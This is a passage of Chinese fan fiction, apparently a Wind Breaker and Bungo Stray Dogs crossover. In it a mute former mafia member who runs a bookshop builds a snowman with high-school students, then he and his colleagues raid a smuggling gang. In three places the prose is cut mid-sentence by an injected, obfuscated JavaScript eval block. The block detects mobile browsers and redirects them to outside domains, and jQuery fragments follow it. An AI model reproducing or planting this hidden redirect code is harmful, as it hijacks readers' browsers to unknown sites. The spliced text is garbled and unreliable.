哪有指挥鸿上去拿药的道理。 倒是少年们来他店里的频率和以往一样,只是衣服肉眼可见地随着天气变冷而加厚,但及时的保暖措施也少不了偶然中招,在冬日的寒冷中一边打喷嚏一边打冷颤。 在接近新年的一天,他一觉睡醒,发现世界变得雪白,像被勤劳的粉刷匠连夜涂满天与地。 看来大雪下了一整夜。 24.堆雪人的都市传说 这场大雪断断续续下了好多天,有时只是连伞都不用打的轻薄飘雪,但一到夜间,就会变成大片的晶莹雪花。有日光的午后,没有被踩脏的积雪散发着冰冷却干净的气息,暖意有限的阳光没法让积雪轻易消融,就像人心中对他人的成见需要无数个日夜的努力才能被磨平。 望着屋外的白雪,他思考这次的新年要如何度过。 对常年呆在欧洲部门的他们来说,很少有过节的想法,工作会占据他们很大一部分脑力。但总有人会考虑如何让部门的同事在工作之余也能感受到新年的氛围。 除此之外,他们中的大多数只在出勤当地有节日游行时出门凑凑热闹。 大部分欧洲国家会认真过圣诞节,到了那种日子,他们随便上街走走就能被节日的气氛环绕全身。还有万圣节。不少城市都会有万圣节游行。各种南瓜主题的装饰在街头铺展开,不管是本地人还是外地人,它欢迎每一个生活在那里的人前去一探究竟,感受欢乐。 迎着白昼的暖阳,他决定出门逛逛。 但没有目的地,他先去了店里,挂上了暂停营业的牌子,虽然他心里知道这恐怕是多此一举。 呼出的热气变成了白雾。雪后总是更冷一些,好在他的手套多少能隔绝些冷意,手指不会因为寒冷天气变得僵硬。 风铃高中放假了。 学生喜欢假期,也是人之常情,放假的风铃高中理应空无一人。 他站在校门外,望着校园内的雪人出神。 堆得不错,有鼻子有眼的,就是……脑袋好像快裂开了。 他看着没被团紧的雪人脑袋有裂开危险的简陋版雪人,思考要不要翻墙进去帮忙修改。 就在他犹豫的片刻里,半人高的雪人头上当帽子盖上去的纸箱被忽然袭来的一阵冷风吹歪。 脑袋裂开的可能性更大了。 充当雪人眼睛的是被剪成不规则圆片的硬卡纸,也有摇摇欲坠的风险。是今天刚堆的雪人吗?不然,以那种材质早该被雪浸湿才对。 在他终于决定不请自来进校门帮雪人“复活”时,一名属于风铃高中的学生从街道的另一边走了过来,提着一份外送松饼,眼神写满了意外,似乎对他这样站在校门口的陌生人感到不可思议。 他又朝右边看。 曾经有过一面之缘的少年咬着棒棒糖,脚步停在离他有几米远的地方。 所以,雪人是谁堆的。 是带着松饼来学校的粉发少年,还是这个吃着棒棒糖好像打算说话的少年。 他指了指校园里的雪人,示意不管这二人心中作何感想,都先看看那个陷入危险的雪人…… 可当他指向雪人,雪人的脑袋霎时裂开。他抬起的手僵在空中。 他左转右转,向二人摊手,表示是雪人自己裂开的,和他无关。 和那双色彩令人难忘的双眼对视,梶莲忽然发现自己见过这个男人。 在那家格格不入的书店里,和他们风铃高中的总代表站在一块,“你是……那间书店的老板吧,商店街的那家。” 他应该没记错。 梶莲如此一提,同时唤醒了桐生三辉久违的记忆。 哦,是那家书店啊。 他好奇地打量着这个银发青年。 个子不低,神色平淡,但似乎没有张嘴说话的想法。方才指向雪人的动作和雪人的崩裂恰到好处的同时发生,也只是以手势表示自己的无辜。 那样的动作,谁都能理解这位年轻老板的意思。 在他和二年级学长的视线中,青年冷静地拿出手机打字。 【先去修雪人】 嗯?怎么回事。桐生三辉皱起眉头想道。宁愿用手机打字也不说话,难道…… “你没办法讲话?” 梶莲不可思议地问。 看到老板点了点头,二人心中不约而同地对这位老板生出一丝奇怪的敬意。 家离风铃高中近的学生,就算是节假日也时常来学校,因为没人规定假期期间他们不能呆在学校。而家离风铃高中远的人,在从十二月底开始的横跨旧年与新年的十数天的寒假里,也懒得回远方的家。 排除和家里人关系不好的可能。 雪人不是梶莲堆的,也不是提着松饼来学校的桐生三辉堆的。 出自谁人之手,已经不可考了,他们甚至没办法肯定是一个人堆的。 没准是由第一个人堆出雏形,第二个人加固,第三个人装饰……直到变成佐久间弥津站到学校门口时的摇摇欲坠但基本完成版。 现在,接力到他们三人偶然相遇的人,开始重塑脑袋的工序。 佐久间弥津捡起和脑袋一起摔落在雪地里的残破纸盒,表示充当雪人帽子的纸盒最好换掉。 老板的黑色皮质手套,让桐生三辉想起很多游戏里都会塑造的“杀手”型角色。 就像刻板印象,这样的角色经常戴类似的手套。作用自然是消除指纹,不留痕迹,也能避免血腥沾在手上,贴合手型也便于行动——手套这类配饰,和oversize风格的衣服完全不一样吧。 “那个,老板……你打游戏吗。” 只需要点头或者摇头的青年给出他肯定的回复。 原来如此。 桐生三辉完全没料到自己和真相擦肩而过。 他以为老板戴手套的习惯是在模仿游戏角色,冬天大部分人都会戴保暖手套吧。真正的杀手估计没有帮高中学生堆雪人的兴趣,会在路过雪人时笑容恶劣地一脚踢飞也说不定。 啊,这样的话,为了防止他们修复的雪人突遭厄运,干脆想个办法保护起来,等到来年开春,让它自然融化吧。 佐久间弥津不会想到少年问他那个问题的时候,脑子里居然是这样的想法。他以为少年只是洞察力惊人,连他平时常玩电脑游戏的事都能看得出来。 气温不会那么快升高,倒不必担心提前化掉。 自我介绍叫梶莲的少年决定在雪人旁边摆一个写了字的牌子,提醒假期中提前来学校的学生注意这里有个雪人。 戴着大于两个耳钉和眉钉之类装饰物的少年叫桐生三辉,想在雪人的头上留下自己的发夹,被梶莲一票否决。 自此,他们也算结下一同堆雪人的情谊了。 他的新年过得与以往没太大不同。 在和朋友们重新建立联系的半年里,他多了每日回复消息的日常任务。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531243|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在染崎说,中也先生对她问起他的事时,他想过即刻对中也先生吐露实情的后果。 如果说他并非为了治病才下定决心离开,而是因为发现国内部门变得和自己印象中的港口黑手党不太一样才离开,这无异于把自己“叛逃”的行径放在明面上。 再等等吧……会有合适的时机。 又过了些时日,他在店里整理优他们好久之前寄来的东西,在那日的风铃高中见过的桐生三辉穿着校服登门。 “雪人慢慢融化了哦,今天已经被打扫干净了。” 除了一滩痕迹,什么都没留下。 少年特地来告诉他这件事。 时间在流动,雪人日渐变小,像一个身材比例健康的人逐渐变得矮小和圆润,轮廓不再清晰得像知名模特的下颌线。 然后,还在慢慢变脏,也许是因为尚且寒冷的风带去了灰尘。 日复一日,在风、太阳、还有今年第一场雨的共同作用下,凝聚了很多人努力的雪人身上留下了时间的痕迹。 雪人周围的地面总带着深色的水渍。 直到它最终不成型,失去了雪人的外表。 打扫校园的人认为,面目全非的雪人没有再留下的必要了。于是,在桐生三辉意料之内的某一天——也就是今天,雪人的位置只剩一片顽固的印记,时间在原本就斑驳的地面上篆刻下新的笔记。 少年看着默不作声点头的老板,转头和站在门口的同班同学对望。 诶…… “大家也在这里啊。” 佐久间弥津瞧着一开始聊天就没办法轻易停下的少年们,在心里摇了摇头,任凭他们把书店当成聊天室。反正没有打扰他……也不会打扰到其他客人。 因为压根没有。 没想到桐生和苏枋他们很熟。原来是同班同学吗?但很少见他们同框。 其实他也不会把每一个从店外路过的人都记住。为什么要记那么多脸和名字,他没有把自己锻炼成记忆大师的想法。 堆完雪人的那天,他分别从两位少年手里拿到了一根棒棒糖和一人份的松饼,作为分享的东西。 风铃高中的学生都愿意分享自己喜欢的东西给别人,这一点和梅宫确实像。 提着一盒松饼的少年说,这是整片城区最好吃的松饼了。 但他身上没带什么能和少年们分享的东西。没有零食,衣兜里只带了药剂喷雾……夸张点说,连一颗子弹也没有。 这时候,他却突然想,“如果他身上有带水果糖就好了,什么味道的都可以,只要是能和别人分享的水果糖”。 不过,他为什么会想到这个。明明他从来不随身带水果糖,身边也没有养成这种习惯的人。 他用手机打字,【中午我请你们吃烤肉吧】 原本他打算说的是,去书店里可以免费看书——转念一想,那本来就是免费的,何必再做解释。 于是,他,和分别属于风铃高中一二年级的两名学生,就那么站在雪人面前,盯着巍然不动的雪人,像是自己也变成了在寒风里屹立的雪人。 他们不仅有一同堆雪人的情谊,还有了一起吃烤肉的情谊。这是作为成年人的他唯一能分享的东西了。 25.是黑手党的都市传说 “鸿上和我说,你这次拒绝去复查。为什么。” 把伞收起,倚在墙上,佐久间弥津抬头望向坐在客厅沙发上的好友。 最近进入梅雨季了。一天到晚在下雨,他不想在大雨天出远门,只愿意去近些的街道。 鸿上什么都会和你讲吗,连他拒绝复查都要汇报给你。 他在心里想。 水落望音的视线牢牢锁定跟在好友身后的少年。少年淋过雨,衣服湿了,头发也是。一只眼睛戴着眼罩,不知是真伤还是假伤。形容狼狈,脸色在看到他时有些微妙。 去年,他见过这小子。 “他是怎么回事。” 佐久间弥津转身,眼神示意苏枋一同进屋,不用害怕姿势嚣张,坐在沙发上的人。 对好友介绍苏枋的存在,着实是棘手的事。但幸好苏枋是个聪明人,也懂分寸,虽然目前只是高中二年级的学生。风铃高中果然不是随便的地方,颇有点“人才”济济的味道。 苏枋隼飞对佐久间先生递来的干毛巾表示了感谢,然后坐到青年对面的单人沙发上,把正对电视机的长沙发留给这处住宅的主人。 他心思坦然地望着今日出现在佐久间先生家里的青年,心中毫无怯弱之意。 青年对他没有好脸色,但对佐久间先生的态度也让人一时分不清他们关系是好是坏。 佐久间先生刚一进门就收到那样的质问,难不成他们过去就是这样相处的? “你带他回来做什么?你又不是他的补习老师。” 听了青年堪比挖苦的语气,苏枋隼飞却不由得开始想象,如果佐久间先生是他的补习老师,会教哪一门课程。会是化学或者物理吗,还是别的。对了,佐久间先生会外语吧,还不止一种,没准会教他这个。 佐久间先生偏过头来看他,这些过界的想象立即在他脑子里停止扰乱他的思绪。 对苏枋的想象毫无察觉,佐久间弥津把接下来的时间交给苏枋讲述他和同伴们最近遇到的怪事。 少年心平气和地将整件事娓娓道来。 “……日期,时间,具体到天气。”水落望音的语气还是冷冰冰的。 “周三的下午,六点……是晴天。” “目击者有几个。” “两个……我,和我的同学。” “那处住宅区最高的楼层是几楼。” “四楼。” 好友陷入了沉默,但佐久间弥津知道这是个好兆头。两个小时前,他从单独前来书店的苏枋口中听到了这件事,这件发生在上周但少年们竟然谁都没有透口风给他的怪事。是苏枋见榆井的状态始终不对,询问过后才得知榆井近几天做过很多次噩梦。 因为那天偶然在垃圾桶旁边看到的,一柄沾血的水果刀。 青年始终一副“继续说”的神情,苏枋隼飞便只能随其所愿,继续把那件事对其讲清楚。 第一个见到那把刀的是帮街区居民找走失宠物的榆井秋彦。 然后是离榆井秋彦最近的苏枋隼飞自己。 二人加固了宠物狗脖颈上被挣断的牵引绳,但苏枋意识到狗一直朝着垃圾桶背后爆冲,这样的行为绝对有问题。 榆井后撤半步,朝垃圾桶和墙之间的缝隙看过去,便瞧到了直到今天不只一次让他半夜惊醒的梦魇。 “你确定是血?还是刚切完火龙果的水果刀。别看错了,耽误我时间。” “是的……我能确定。” 当他带着惊骇之下双手颤抖的同伴一同先把宠物狗还给居民之后,和状态已经稳定不少的榆井将此事一同讲给了樱。 但是,当他和樱再次回到案发现场,却发现那把刀不见了。 也就是说……在他和榆井回去,同樱返回现场,这段不足十五分钟的时间里,那把沾血的刀被人拿走了。 到现在为止,只有他们三个人——外加佐久间先生和青年,五个人知道这件事。 他们暗地里打听过,最近城镇上有没有命案发生,答案是没有。 “你是如何打听的?” 一个学生,有什么能耐。 水落望音对这个少年的看法已经有所改观,但不妨碍他仍然觉得还是学生的少年做不到什么。 他完全忘了,自己和好友在少年的年纪给组织做过多少惊天动地的事。 “我和一个人谈妥了交换条件……”城镇上治安是不好,但并非连国家机关都没有。至于是什么条件,就让他先对佐久间先生和这个青年隐瞒吧。”近半个月来,没有恶性事件报案的记录。此外,我们向熟悉的帮派打听,也没有人员失踪的事情发生。” “说完了?” “说完了。” “离开吧。” 水落望音开始赶人。 哪怕赶人的权力本该由佐久间弥津使用。 ……嗯? 苏枋隼飞稍感无措地看向自己唯一熟悉的佐久间先生,却没有看到那双熟悉的玫红色眼瞳。 佐久间先生注视着他不知姓名的青年,不看向他。 他便顺着佐久间先生的视线,也望向青年。 青年拧着眉头,似乎忌惮着什么。 很快,也许只有一秒,青年的眉头舒展开,暗淡的灰眸却正如他站在门口时那般死死锁定了他,仿佛下一句话没答对,他就会死相惨烈地被青年结束性命。 “先说好,小子,你‘知道’多少。” 这也许是最后一个问题。 但显然不是在问事情本身,而是在问别的。 他看了一眼无动于衷的佐久间先生,说,“我……猜出佐久间先生以前在为犯罪组织工作。” 出乎意料地,青年没有继续对他冷眼相向,而是哼笑一声,朝向一直没有表态的佐久间先生。 “我早说过,你不如回来。呆在这儿,到底哪里好了。” 苏枋隼飞久久地凝望着此刻脸上竟露出轻微笑容的人。 他丝毫没有因为他恐怕成为了佐久间先生心中“笑料”而感到难堪,认真观察着佐久间先生脸上每一点细微表情。 这抹笑容转瞬即逝,但他多少能察觉佐久间先生对“过去”的态度。 他曾以为,佐久间先生来到这座城镇,必定是因为所在的组织出了事导致佐久间先生离开。比如,被“一网打尽”而解体,或者和旧日同僚发生矛盾而脱身,就像许多以此为题材创作的电影和小说那样。 可现在看来,绝非如此。 听青年的语气,倒像是佐久间先生自由离去,现在,前组织还维持得好好的——能给佐久间先生提供比在这里更好的条件。 佐久间先生在那样的组织里……地位很高吗。他静静思索着。 “我只能待一天。” 青年这么说,佐久间先生点了点头。 【可以把优暂时调回来】 他也看到了手机屏幕上的滚动字幕。 “优”…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542013|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是哪位。 佐久间先生不便说话,他便从未得知这些前来找佐久间先生“叙旧”的人的名号。 蓝发青年愣了一下,迅速站起身,冷声说,“把伞给我。” 佐久间先生对其摇了摇头。 近一年的药没有白吃。 和他初次听佐久间先生艰难说出的好似气音的词句相比,如今勉强顺利说出单个词语不再那样费力,虽然仍旧模糊不清,可他们离得这般近,怎么可能听不懂。 佐久间先生说的是“一起”。 而他则被“赶”出了门。 “回自己家去,小子。”撑起一把透明长柄伞的青年对他说,“算你们福大命大,见到疑似凶案现场的场面没有被赶尽杀绝。” 佐久间先生也给他手里塞了一把伞,和青年的一模一样。自己则锁好门,打开不久前给他撑过的那一把质感很好的外黑内白长柄伞。 外界是瓢泼大雨。 走了几步,水落望音回头,盯着这个一言不发跟在他和弥津身后的小鬼。 “我让你回自己家,你跟着我们做什么。” “我可以一起去吗。” 苏枋隼飞问,眼睛却望向熟悉的大人。他不自量力地希望看到佐久间先生点头同意。 但佐久间先生果然微微皱了皱眉,一副不同意的表情。 “看来你还是没搞明白。首先,我们不是普通的犯罪组织。” 青年语气里充满直白的嘲弄意味,像在讽刺他稍有所得就得意忘形。 “我们是黑手党。像你这样自视甚高的小鬼,我亲眼看着死掉不少。其次,不想和你的同伴一样整天做噩梦,就立马从我眼前滚开。” 大人的确有大人的解决方式。 “不需要诱饵吗?” 假如当真有坏蛋在那附近,他对那些家伙的吸引力,要比两个陌生人大得多。 青年对他的话充耳不闻,大步朝前走,只留给他一个冷冰冰的背影,在雨幕的遮挡下越来越模糊。 雨下大了,比他淋着雨去书店找佐久间先生的时候更大。 雨点砸在地上,落在伞上,大自然的鼓动充盈在他的耳朵里,闹哄哄的,他无暇顾及手机的消息提醒。 佐久间先生没有如青年一般无情转身,而是站在离他不到两米远的地方,侧过身,静静望着同伴离开的方向,心里不知在想什么。 随后,终于看向他。 那双在天色阴沉的傍晚更显艳丽的眼瞳深深地凝视着他。 佐久间先生朝他走了两步,斜着黑伞,稍一低头,站到他的伞下,安慰似的抬手摸了摸他的脑袋。 其实他不是很习惯这种“互动”……难道佐久间先生心里还把他当小孩看待吗? 出门前,佐久间先生回其他房间戴了一双黑色皮质手套。这副手套起到的或许是不留指纹之类的作用。 【真想去吗】 佐久间先生是如何同那样的人成为朋友的?两人的脾气毫无相似之处。那人丝毫不介怀地把真实身份说给他听,很难说不是一种隐形的威胁,威胁他保守秘密,否则会让他步入亡者的后尘。 如果他们都把自己的身份看做秘密的话。 和天色一比,手机屏幕的亮光实在过分刺眼。 他微微眯了眯眼睛,郑重地点头。 “我不会添麻烦的。” 如若自己发生不幸,算他因自己的天真向佐久间先生支出的报酬。 26.姗姗来迟的都市传说 【梅宫什么时候回来】 已经度过毕业季的梅宫正如其先前所说的那样,即刻动身,目的地是自己过去没机会去的地方。 不同的城市,不同的风土人情,值得去看。 “他没说。不过,我想可以在月底见到他。” 一夜之间能解决这件事吗。 他并非质疑佐久间先生和那位青年作为“黑手党”的职业素养。他不了解一个和跨国公司无异的“黑手党”究竟是如何运作的,但这种事听起来就不可能。 陪在他身边的青年摇了摇头,算是承认这很难做到。 果然。 那日傍晚,他再没有见到那位佐久间先生的朋友。 他是同佐久间先生一起去到现场的。 靠墙立着一排大垃圾桶,颜色不同,标了可扔的垃圾类别。垃圾桶正对面是另一栋涂着灰漆的四层楼房,露天走道靠外的水泥栏杆有一米多高,让人心安,但有点古早,和垃圾桶靠着的那一栋楼房格局设计完全一致,像是一比一复制的建模。 两栋楼之间,是比一间教室还大些的空地,水泥地面肉眼可见得坑坑洼洼,雨水在其中积聚。水泥地光秃秃的,周围没有一处绿色植物,连野草也没有。抬头看到的天空在四周楼房的拘束下四四方方,有些压抑。 那里并没有先他们一步离开的青年的身影,反倒是佐久间先生对他提出些从未有过的要求。 别说自己找过他,对任何人都不能提。也别说见过“他”。他一一应下。 但随之而来的是书店要闭店休息一周的消息。 “是要去哪里吗?” 青年没回答,送他回了他的住所。 然后,佐久间先生也消失了。和那个脾气不好的男人一样。整整七天,书店空无一人。路过书店,他没有对同样好奇佐久间先生去向的同伴解释这或许是他导致的“失踪”。 然后,在让人望眼欲穿的第八天,静默的书店终于有了动静。 戴墨镜的青年一早就勤劳地打扫起一周没人进去过的书店。 店门开着,他握紧手机进去。 “我收到一条消息……” 青年头也不抬,像勤劳的小蜜蜂一样打扫店面,“既然收到命令,就按命令做。话多对你没好处。” ……这是黑手党组织的作风? “可以解释一下吗。” 用他想不到的方式得到他的联系电话,又不明不白地“命令”他把榆井带到这里。若不是相信佐久间先生的为人,这种事会被当成诈骗和绑架发生的前兆。 “那不是你的诉求吗?弥津大人对你足够宽宏大量了。” 但镜优在心里偷乐。 没有这小子,他根本回不来。 按照原本的工作安排,他这时候该在某个犄角旮旯的地区,对着语言不通的当地人急得好似热锅上的蚂蚁。 ……我的诉求? 苏枋隼飞注视着青年,心中略感不解。 是他自作主张和佐久间先生谈这件事,但他不记得有希望佐久间先生丢下书店不管……他也不愿因为这件事,而让佐久间先生陷入被动。 既然此人出现在这里,还如此轻松,想来佐久间先生的暂时消失不是坏消息。 “你的同学不是会做噩梦吗?那可是你说过的话。”青年在置物柜里找了找,拆开一条新毛巾,继续今日的打扫工作,“带他来见我。” 书店隔间门半关着,青年没有等待他回答,小心谨慎地把佐久间先生桌上的设备移动位置,并未落多少灰的桌子被青年拿浸透在水中又拧干的湿毛巾细细擦拭一遍。 气氛变得僵硬而冷寂。 青年不再理会他,像失去对话功能的机器人,似乎唯有他按要求做事,才能推进下一步行动。 翌日,仍然是上学日。甚至不必他讲清缘由,因为他们本就总是从书店外路过,这一日也是如此。 书店里多了一名从未见过的外国人,正对看店的人说着什么。 青年摘下墨镜,路过书店再次发现佐久间先生不在店里的同伴们窃窃私语着,声音却逐渐变小——并且没能第一时间发现青年手里拿着扫把。 古怪又让人百思不得其解。 此后几天,他常常独自光顾书店,但佐久间先生依然消息全无。他算得很清楚,一周,又五天,佐久间先生的身影从他眼前消失了十二天。 在第十三天,事情终于迎来转机。 对他的光顾毫不意外,青年戴着墨镜,没有多看他一眼,但也不对他解释佐久间先生的失踪到底是出于何种原因。 榆井似乎忘记了那件事。会从脸上一闪而过的愁绪总是如同海浪般忽隐忽现。即使榆井不说,他和樱也会明白,每当榆井变得沉默不语或在交谈中走神,恐怕是因为想起了那把在垃圾桶后出现的水果刀。 但榆井的情况这两天好了很多,像是回到了几个月前,三年级生的毕业季,会为不确定的未来而忧虑,但也会为自己生活中的惊喜而兴奋不已。 带血的水果刀被淡忘了,他确定无疑。可这究竟是如何做到的。 他望向青年,而青年始终沉默,仿佛手里的扫把多好玩。 正当他准备像前几天一样离开,书店隔间的门却动了。从中走出一位年纪尚轻的紫发女性,面容平静,双眼似是疲惫般快速眨了眨。 “找到了。” 找到了什么?他在心中发问。 丢下扫把的青年立即从书架间的走道里拖出吉他包,当着他的面拉开拉链。那哪是吉他包,分明就是简易军火库。多得是他认不出型号的枪械和满满的弹匣。 “诶……?” 少女睁大眼睛,指着他,没想到青年会当着他的面打开装满枪械的包。 “没事。这小子什么都知道。”青年瞥了他一眼,眼神奇怪地笑了一下,从中拿了一只手枪。 青年安顿好看似没有自保能力的少女,脚步匆匆地出了门。他回头望了一眼丝毫不慌张的少女,坚定地追着青年的脚步而去。 “请问,究竟发生什么事了。” 青年靠着墙走。一边赶路,一边戴起一只耳机,调试设备的同时回答他,“什么都不知道对你最好。回去和你的同学待在一起等消息。” 苏枋隼飞婉拒了这份无知。假如佐久间先生的失踪是因为他,他当然要明白自己的“罪责”在何处。 青年一乐,“我说,你……你叫什么名字?” “苏枋隼飞。风铃的学生。” “好吧,苏枋隼飞。你在担心些什么?你多余的关心是对‘我们’莫大的侮辱。” 青年的话着实有些重,但少年脸上也没有退缩之意。 镜优不想和少年在无谓的事情上僵持,如果想跟着他,请便,“但你不幸遇难,和我无关。”他是不会救人的。 “我想知道佐久间先生在哪里。” 只要得到回答,苏枋隼飞可以立即离开,他绝对不给青年添麻烦。 青年却像前几天一样不再理他,任由他跟到港口附近,翻进一处厂房,蹲在树底下,才问出一个奇怪的问题。 居然是问他觉得佐久间先生“怎么样”。 真的是在问他对佐久间先生的看法?他怀疑青年话里有话,而且此人可能就是那日佐久间先生提到的“优”。 “我觉得很好。”他说。 青年的笑容像是嘲讽又像是欣慰,“你为什么会觉得一个黑手党成员‘很好’。” 他们和“好”这个词不沾边。 “‘黑手党’不是你们的工作吗。” 苏枋隼飞没有天真地以为佐久间先生无辜的像一张白纸,但也没觉得青年无恶不作。无恶不作的家伙会让知道自己身份的人活到现在吗? “工作不完全等于人品。”他说。 正如佐久间先生形容的那位,从多个角度看都是好人的“上司”。 “难道你就是这样说服自己天天在他眼前晃?趁现在还有的选,立刻回家去。”接下来的事,区区学生别插手。 “即使你不说,未来我也会亲自询问佐久间先生。你不想让我打扰他,不如现在告诉我。” 盯了这小子半天,镜优笑了一声,“胆子还真是大。” 他示意少年看那栋建筑。事情越查越有,“这里面有个走私团伙。有人杀了监视他的同伙,想要逃走,你们看到的刀是那人逃走时急急忙忙丢掉的。” 后来,有人捡走了那把刀。 “逃走的人没能离开。他被捡走刀的同伙追踪到了行迹,又被逮回了这里。” 听起来很惨吧。 “你们打算黑吃黑?”苏枋隼飞小声说。一个走私团伙,和被吸引而来黑手党组织。接下来会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546538|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生什么完全可以预见。 青年却放肆地笑话他。 “这是你从什么地方学来的说法?当然不是。这里的走私线路又偏又远,经营成本很高,要它做什么。” 假如我们把走私团伙的人都干掉,尸体丢进大海,你会心生愧疚吗? “我为什么……” “难道不是你先开口求助?他们的死,和你的想法有脱不开的干系。同弥津大人走得太近,不是好选择。你不如想想,我们会问你收取什么样的代价。” 苏枋隼飞哑口无言。但他的确因为青年的话开始思考这样的问题。如果佐久间先生当真因为他们的遭遇,而决定把这个走私团伙一锅端…… “佐久间先生在你们的组织里地位很高吧。” “要下雨了哦。”青年对他的问题避而不谈,顾左右而言他时的笑容很奇怪。青年把手枪揣进怀里,大摇大摆地走向楼宇大门,“我不太喜欢这个地方。虽然他很满意。” 佐久间先生满意不就够了吗? 他紧随在青年身后。 一楼空无一人。二楼的空气里有烟味,人影却没见到。 青年走得快他一步,他抬头看见青年站在三楼入口平台朝他不怀好意地笑,心里顿时警铃大作。 可惜还是晚了。不出两秒,青年的身影便在他的视野里失去踪迹,他快跑两步追了上去,却发现等待他的唯有警觉的敌人。 像游戏里被触发警报的守卫NPC,敌人纷纷拿起武器,一脸凶相。 顾不上思考青年躲到了哪里,他没有别的选择,只能转身奔向一楼大门,没必要赌对方的枪里有没有子弹。 院子里的守卫被惊动而一起聚集而来,接二连三在他耳边响起的枪声如同被敲响的战鼓,震得人心口发慌。 只有他一人被持枪歹徒追到空旷的院中,淅淅沥沥的雨伴随着凉风落到他身上,也落到冰冷的枪管上,留下雨丝的痕迹。 果真下雨了,就在短短几分钟内。 佐久间先生的那名下属消失得无影无踪,没准现在仍然呆在楼里,免于被雨淋湿和被枪指着的双重厄运。 这下遭了,他无路可逃。 敌人大声勒令他放下武器投降,似乎有就地击穿他心脏的想法。 唉,他像是会带武器的样子吗? 他不得不转身,尝试解释自己没有武器,是空手来的。 其实,在看到敌人捂着血流如注的右胳膊踉踉跄跄地后退前,他险些怀疑佐久间先生的下属是想要借敌人的手干掉他,经典借刀杀人。 然后是第二个人。子弹洞穿手心,握不紧枪,脸色煞白,对同伙狼狈地说“敌袭”。 他站在雨中,对这一瞬间的形势变化感到诧异。 他该趁乱离开的,但身后突然传来了脚步声。 他欣喜地偏过头,注视着多日不见的青年,那双熟悉的眼眸带着一种让人心情不由得平静下来的力量。 像是一起呆在书店里,商量下次填充冰箱用乌龙茶还是果汁饮料,而不是站在走私团伙的老巢里,和持枪敌人对峙。 近在咫尺的青年没有把伞撑在他们头顶,反而挡在他们身前,遮住他看向前方的视野,顺带挡住纷乱的恶意。 银白的弧光在空气中有如实质的箭矢穿梭,仿佛能突破时空限制般,展现出了超乎他想象的力量。 不是一道接着一道,而是数箭齐发似的,结成一张没有死角的大网,迅捷有力地撕裂了敌人片刻前的胸有成竹和肆无忌惮。 短短几秒内发生了太多事。看似毫无威胁的电流以独特的规律在蒙蒙烟雨中高速移动,所到之处尽是哀嚎,持枪的敌人来不及射出子弹便陆陆续续倒地。 雨点汇聚成飞泻而下的雨幕,遮住对苏枋隼飞而言尚有些残忍的时刻。 浑身湿透的少年呆呆地看着发生的这一切,这段时间的经历也如这场雨般蒙上一层若有若无的魔幻色彩。 和他一样被雨淋湿的大人静静地注视着他。 他没有别的话想说,“佐久间先生,快要半个月没见了。” 青年点了点头,脸上露出和往常别无二致的淡然神色,似乎想说长篇大论,但碍于嗓子的伤,实在做不到。 下一秒,他的身体不受控制地倒下,意识归于黑暗前,他看出佐久间先生的口型分明是在对他说,“休息吧”。 27.凶相毕露的都市传说 何为黑手党。 首先,这是犯罪组织的一种。 一辆改装过的越野车从远处奔驰而来,临近院落也不刹车,直接撞上充当护栏的铁丝网。马力惊人的越野车撵倒相比之下脆弱不堪的护栏,在即使是纵观整座小城也堪称偏远的地方横行霸道,把车开进混乱但形势高下立判的走私团伙的老巢。 空气中传来何物烧焦的气味。 来人下了车,把一头扎在青年怀里昏迷的少年利索地接过,毫不怜惜地塞进车后座,仿佛塞的不是人而是一件货物。 褐发的外国青年不多言语,麻利地回到车里,带着不该来此的少年速速离开,把此地留给他记忆里曾在欧洲部门留下不少传奇的青年。 目送好友的下属带苏枋走远,佐久间弥津把伞撑在头顶,回头观察起尸横遍野的院子。院子边缘地带杂草丛生,唯有靠近楼房的部分是干净平坦的地面,铺着长条形灰砖。大楼门口的台阶是水泥砌的,有的地方已经开裂。 枪声停止了,但楼里还有其他人,优也早已潜入其中。正面战场从来都是他的任务。敌人离他越近,他行动起来越有利。 大雨泼洒在倒地昏迷的敌人身上,把这些年纪各异的人们浇成落汤鸡。不想让自己的鞋底沾上脏东西,他绕过还没身亡的手下败将们踏进大楼。收起伞,把伞面的水珠朝外甩了甩,他又不紧不慢地分析起楼内的设计。 正对楼门的中心部位有长台阶,在台阶末端平台朝左右各有转角上楼,兴许楼上几层都是这样的设计。走廊里有灯,但不是声控灯。挂着的应急灯内有蓄电池。 设计有点老派,但有的门装上了密码锁。被操纵的电流带着明亮的银光一闪而过,密码锁发出“砰”的一声响。小爆炸让门变了型,紧接着冒出难闻的黑烟。 佐久间弥津轻轻皱眉,用手当扇子扇跑黑烟,抬脚踹开了这扇门。门朝后狠狠撞在右边的墙上,又是一声惊人的巨响。 异能力会为他指路。这是监控室,但几乎一整面墙的监控摄像头界面里,只剩三五个还亮着,其他的都已经陷入异常状态。根据剩余监控摄像头判断,优已经上到了七楼。 